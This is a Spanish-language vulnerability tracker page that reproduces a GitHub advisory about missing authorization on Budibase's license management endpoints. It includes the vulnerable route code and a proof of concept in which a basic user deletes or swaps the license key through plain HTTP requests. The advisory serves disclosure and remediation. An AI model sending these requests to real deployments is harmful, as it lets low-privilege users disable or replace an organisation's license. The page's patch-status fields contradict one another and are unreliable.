llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @budibase/server

GHSA-4WR8-5C3P-RJCR

Missing Authorization on License Management Endpoints Allows Any Authenticated User to Delete License

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición97 dDesde la divulgación, 14 ago 2026, 3:57 a. m.
Detección96 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
14 ago 26
18 nov 26
19 nov 26
14 ago 26
7 sept 26
1 oct 26
26 oct 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-4WR8-5C3P-RJCR divulgada · CVSS 8.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

All license management endpoints (`/api/global/license/*`) are accessible to any authenticated user regardless of role. A user with BASIC role (lowest privilege) can delete the license key, activate a different license, or manipulate offline license tokens — operations that should be restricted to administrators. This is a broken access control vulnerability where admin middleware was never added to the license routes.

Details

Vulnerable file: `packages/worker/src/api/routes/global/license.ts`, lines 18-37

All license endpoints are registered on `loggedInRoutes`, which only requires authentication — no role-based authorization:

loggedInRoutes
  .post("/api/global/license/refresh", controller.refresh)
  .get("/api/global/license/usage", controller.getQuotaUsage)
  .post("/api/global/license/key", activateLicenseKeyValidator, controller.activateLicenseKey)
  .get("/api/global/license/key", controller.getLicenseKey)
  .delete("/api/global/license/key", controller.deleteLicenseKey)
  .post("/api/global/license/offline", activateOfflineLicenseValidator, controller.activateOfflineLicenseToken)
  .delete("/api/global/license/offline", controller.deleteOfflineLicenseToken)

The endpoint group system in `packages/worker/src/api/routes/endpointGroups/standard.ts`:

export const adminRoutes = endpointGroupList.group(auth.adminOnly)    // requires admin
export const loggedInRoutes = endpointGroupList.group()               // NO role check

Every other comparable admin-sensitive route correctly uses `adminRoutes`:
- `configs.ts` — config save/delete → `adminRoutes`
- `users.ts` — user bulk ops/deletion → `adminRoutes`
- `roles.ts` — all endpoints → `builderOrAdminRoutes`

The license controller and the pro SDK layer perform no additional authorization checks.

Git history confirms this was an oversight: the license routes were created in March 2022 (commit `7698e929`) without `auth.adminOnly`, and the July 2025 route refactoring (commit `e0bd4cf5`) mechanically preserved the missing authorization by placing everything into `loggedInRoutes`.

PoC

Step 1 — Login as a BASIC user (no builder/admin privileges):

POST /api/global/auth/default/login HTTP/1.1
Content-Type: application/json

{"username": "basicuser@example.com", "password": "password"}

Step 2 — Delete the license key:

DELETE /api/global/license/key HTTP/1.1
Cookie: <basic-user-session>

Response: `HTTP 204 No Content` — license key deleted.

Step 3 — Additional operations confirmed accessible as BASIC user:

POST /api/global/license/refresh     → 200 {"message": "License refreshed."}
DELETE /api/global/license/key       → 204 (license deleted)
POST /api/global/license/key         → accessible (can activate different license)
DELETE /api/global/license/offline   → accessible (can remove offline tokens)

All tested and confirmed on Budibase v3.34.6.

Impact
  • Denial of Service: Any authenticated user can delete the license key, downgrading the entire deployment and disabling premium features (SSO, granular RBAC, audit logs) for all users
  • License manipulation: A basic user can activate a different license key, replacing a legitimate enterprise license
  • Affects all multi-user deployments: Any instance with non-admin users is vulnerable

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
@budibase/server< 3.41.3
3.38.1
3.41.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@budibase/server
Sin parche — — 3.38.1 afectada
Versiones corregidas3.41.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Budibase/budibase/security/advisories/GHSA-4wr8-5c3p-rjcr

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.